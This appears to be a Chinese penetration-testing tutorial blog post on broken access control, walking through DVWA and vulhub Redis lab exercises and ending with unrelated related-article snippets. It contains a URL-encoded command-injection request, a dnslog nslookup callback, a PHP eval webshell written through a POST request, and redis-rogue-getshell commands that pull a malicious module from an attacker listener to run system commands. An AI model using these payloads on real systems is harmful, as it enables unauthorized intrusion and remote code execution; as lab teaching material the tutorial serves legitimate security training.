渗透测试漏洞原理之---【失效的访问控制】

news/2024/11/28 0:39:42/

文章目录

    • 1、失效的访问控制
      • 1.1、OWASP Top 10
        • 1.1.1、A5:2017-Broken Access Control
        • 1.1.2、A01:2021 – Broken Access Control
      • 1.2、失效的访问控制类别
        • 1.2.1、水平越权
        • 1.2.2、垂直越权
      • 1.3、攻防案例
        • 1.3.1、Pikachu靶场 Over Permision
        • 1.3.2、DVWA越权
          • 利用失效的访问控制漏洞执行命令注入
          • 利用失效的访问控制漏洞写一个webshell,尝试蚁剑连接
      • 1.4、相关漏洞
        • 1.4.1、目录遍历
        • 1.4.2、未授权访问
    • 2、未授权访问
      • 2.1、Redis未授权访问
        • 2.1.1、Redis介绍
        • 2.1.2、Redis简单使用
        • 2.1.3、Redis未授权访问
        • 2.1.4、Redis未授权访问执行系统命令漏洞复现

1、失效的访问控制

应该对Web 应用(系统等)实施访问控制策略,限定不同用户的不同权限(访问范围)。如果没控制住,就意味着访问控制失效。

1.1、OWASP Top 10

1.1.1、A5:2017-Broken Access Control

A5:2017-Broken Access Control


未对通过身份验证的用户实施恰当的访问控制。攻击者可以利用这些缺陷访问未经授权的功能或数据,例如:访问其他用户的帐户、查看敏感文件、修改其他用户的数据、更改访问权限等。


1.1.2、A01:2021 – Broken Access Control

A01:2021 – Broken Access Control

访问控制强制实施策略,使用户无法在其预期权限之外进行操作。失败的访问控制通常会导致未经授权的信息泄露、修改或销毁所有数据、或在用户权限之外执行业务功能。

1.2、失效的访问控制类别

权限移动方向

1.2.1、水平越权

在同级别账户中横向移动

就是同级用户之间的越权,打个比方现在有ABC三个用户,A是管理员,BC都是普通用户,现在B能够使用C这个用户的权限这就是水平越权,

1.2.2、垂直越权

普通用户获取管理员权限

通过低级权限跨越到高级权限,用高级权限干高级权限的事情,来我们继续打比方,A是超级管理员,BC是普通用户,现在这个B啊,通过了某些手段,跨越获得了A超级管理员的权限,这就是垂直越权,垂直越权的特点就是以低级权限向高级权限跨越

1.3、攻防案例

1.3.1、Pikachu靶场 Over Permision

Pikachu靶场 Over Permision

1.3.2、DVWA越权

利用失效的访问控制漏洞执行命令注入

先在正常登录的情况下,BurpSuite抓取Command Injection关卡的Low级别

image-20230901165159111


然后点击Logout退出登录

实现在不登录DVWA靶场的情况下访问靶场里面 Command Injection关卡的Low级别

路径:vulnerabilities\exec\source

在这里插入图片描述

浏览器访问low.php

在这里插入图片描述

通过访问http://192.168.80.139/DVWA-2.0.1/vulnerabilities/exec/source/low.php

得到如下界面

在这里插入图片描述

BurpSuite抓取数据包,发送到Repeater模块

在这里插入图片描述

改变数据包的请求方式,在源码中可以得知是通过POST方式提交的

在这里插入图片描述

image-20230901164141827

添加请求体内容:ip=127.0.0.1&Submit=Submit

使用&实现命令拼接,做命令注入

&需要做URL编码,防止跟连接Submit&发生冲突

BurpSuite中选中&,按Ctrl+u,即可实现uRL编码

在这里插入图片描述

发现使用whoami命令并没有回显

然后使用calc尝试调出计算器

image-20230901171043155

在这里插入图片描述

命令执行成功!

说明页面没有回显并不能代表命令执行没有成功

可以利用dnslog平台测试命令是否执行成功

rimage-20230901171830352

然后使用nslookup进行域名 解析:ip=127.0.0.1%26nslookup+hv1co0.dnslog.cn&Submit=Submit

点击Send发送,来到dnslog平台,点击Refresh Record刷新记录

image-20230901172142032

解析到了,说明命令执行成功


利用失效的访问控制漏洞写一个webshell,尝试蚁剑连接

echo "<?php @eval($_REQUEST[6868])?>" >shell.phpCtrl+u做url编码

得到echo+"<%3fphp+%40eval($_REQUEST[6868])%3f>"+>shell.php

POST /DVWA-2.0.1/vulnerabilities/exec/source/low.php HTTP/1.1
Host: 192.168.80.139
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 86ip=127.0.0.1%26echo+"<%3fphp+%40eval($_REQUEST[6868])%3f>"+>shell.php&Submit=Submit

访问http://192.168.80.139/DVWA-2.0.1/vulnerabilities/exec/source/查看是否成功

在这里插入图片描述

访问shell.php

在这里插入图片描述

蚁剑 连接

http://192.168.80.139/DVWA-2.0.1/vulnerabilities/exec/source/shell.php

在这里插入图片描述

image-20230901173218542

1.4、相关漏洞

1.4.1、目录遍历

目录穿越,目录遍历,Directory Traversal,Web 用户,通过某种方式,可以访问Web 根目录以外的文件,甚至执行系统命令。

造成目录遍历漏洞的原因:

  • 文件包含
  • 文件读取
  • RCE

1.4.2、未授权访问

未授权访问,Unauthorized Access,重要资产根本没有做访问控制限制,导致黑客攻击者可以在没有授权的情况下操作重要资产,包括读写文件,执行命令等敏感操作

2、未授权访问

2.1、Redis未授权访问

2.1.1、Redis介绍

Redis 是非关系型数据库系统,没有库表列的逻辑结构,仅仅以键值对的方式存储数据

Redis 数据库经常用于Web 应用的缓存

Redis 可以与文件系统进行交互

Redis 监听TCP/6379

2.1.2、Redis简单使用

博客 跳转

Redis 未设置密码,客户端工具可以直接链接

┌──(ajest💋zh-CN)-[~/vulhub/vulhub/redis/4-unacc]
└─$ redis-cli -h 127.0.0.1
127.0.0.1:6379> set name JayChou
OK
127.0.0.1:6379> get name
"JayChou"
127.0.0.1:6379> config set dir /tmp/
OK
127.0.0.1:6379> config set dbfilename jaychou.txt
OK
127.0.0.1:6379> save
OK
127.0.0.1:6379>

2.1.3、Redis未授权访问

读取数据库内容读取系统文件执行系统命令
信息泄露
直接写WebShell

计划任务反弹Shell

SSH免密登录

redis-rogue-getshell

2.1.4、Redis未授权访问执行系统命令漏洞复现

环境:/vulhub/vulhub/redis/4-unacc


docker-compose up -d启动环境后,连接redis客户端

无密码,直接连接成功

┌──(kali㉿kali)-[~/Vulnerability-library/vulhub/redis/4-unacc]
└─$ redis-cli -h 127.0.0.1   
127.0.0.1:6379> info
# Server
redis_version:4.0.14
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:3914f9509eb3b682
redis_mode:standalone
os:Linux 6.1.0-kali9-amd64 x86_64
.......
.......

在这里插入图片描述

github上把redis-rogue-getshell这个项目克隆下来

第一步:

cd redis-rogue-getshell/RedisModulesSDK/
make

会生成一个exp.so文件,编译时会报错,不影响我们操作

cd ../
python3 redis-master.py -r 127.0.0.1 -p 6379 -L 192.168.80.141 -P 8888 -f RedisModulesSDK/exp.so -c "id"

执行id命令

在这里插入图片描述

执行其他命令

python3 redis-master.py -r 127.0.0.1 -p 6379 -L 192.168.80.141 -P 8888 -f RedisModulesSDK/exp.so -c "whoami"

在这里插入图片描述


http://www.ppmy.cn/news/1078800.html

相关文章

strlen()和sizeof()究竟输出什么

strlen(): char a[] {M,e,t,a,x};//数组未设定大小&#xff0c;且尾部没有\0 char b[5] {M,e,t,a,x};//数组长度不够 放不下\0 char c[] {M,e,t,a,x,};//数组未设定大小 printf("%d %d %d",strlen(a),strlen(b),strlen(c));//都是输出随机一个大于等于5的数char…

不需要Photoshop!这10款替代软件也能轻松处理图片

Photoshop是一款功能强大的图像处理工具&#xff0c;很多人说到修图就会想到要用PS&#xff0c;但是Photoshop是要付费的&#xff0c;对于业余设计师或者对修图需求量不太高的普通用户来说&#xff0c;使用Photoshop的成本略高。本篇文章&#xff0c;我们向你推荐5款Photoshop替…

信息技术04--初/高中--教学设计知识点梳理

文章目录 第一章 信息技术基础1.1 信息概念与特征1.1.1 信息的概念1.1.2 信息的特征 1.2 信息技术概述1.2.1 信息技术概念1.2.2 信息技术五次革命 1.3 信息的获取1.3.1 信息获取的过程&#xff1a;1.3.2 搜索引擎1.3.3 引擎符号 1.4 信息的表示和编码1.4.1 进制分类1.4.2 二进制…

Java获取文件内容IO流

文章目录 InputStream和ReaderScannerNIO外传 一般读取文件类的使用字符流即可 InputStream和Reader InputStream和Reader是Java IO中的两个重要的抽象基类&#xff0c;InputStream是二进制流&#xff0c;Reader是字符流。使用InputStream或者Reader读取文件内容可以帮助我们…

代码随想录训练营 DP01

代码随想录训练营 DP01 509. &#x1f338;斐波那契数&#x1f338;code 70. &#x1f338;爬楼梯&#x1f338;code 746. &#x1f338;使用最小花费爬楼梯&#x1f338;code 509. &#x1f338;斐波那契数&#x1f338; 斐波那契数 &#xff08;通常用 F(n) 表示&#xff09;…

六、员工信息分页+启用/禁用员工账号(前端经典大数/精度丢失问题)

员工信息分页 整体流程&#xff1a; 1、创建mybatisplus配置类 在config包下创建mybatisplusconfig /*** 配置MybatisPlus分页插件*/ Configuration //既然是配置类&#xff0c;要加配置类的注解 public class MybatisPlusConfig {Beanpublic MybatisPlusInterceptor mybatis…

Vue: 声明式导航(router-link)的跳转传参的两种方式

声明式导航-跳转传参 文章目录 声明式导航-跳转传参1. 查询参数传参代码示例&#xff1a;2. 动态路由传参 动态路由参数可选符 只要提到了声明式导航&#xff0c;就得想到&#xff08;router-link&#xff09; 1. 查询参数传参 语法&#xff1a; to"path?参数名值"对…

VMware tools的安装以及按钮灰色的解决方法

VMware tools的安装 ** 注意&#xff1a;** 新版本的 VMware 会自动安装的 VMware tools&#xff0c;如何测试 VMware tools 呢&#xff1f;在Windows 系统里复制一段话&#xff0c;能粘贴到 Ubuntu 系统里终端里&#xff0c;说明 VMware tools 已经安装了。 没有安装的请参考…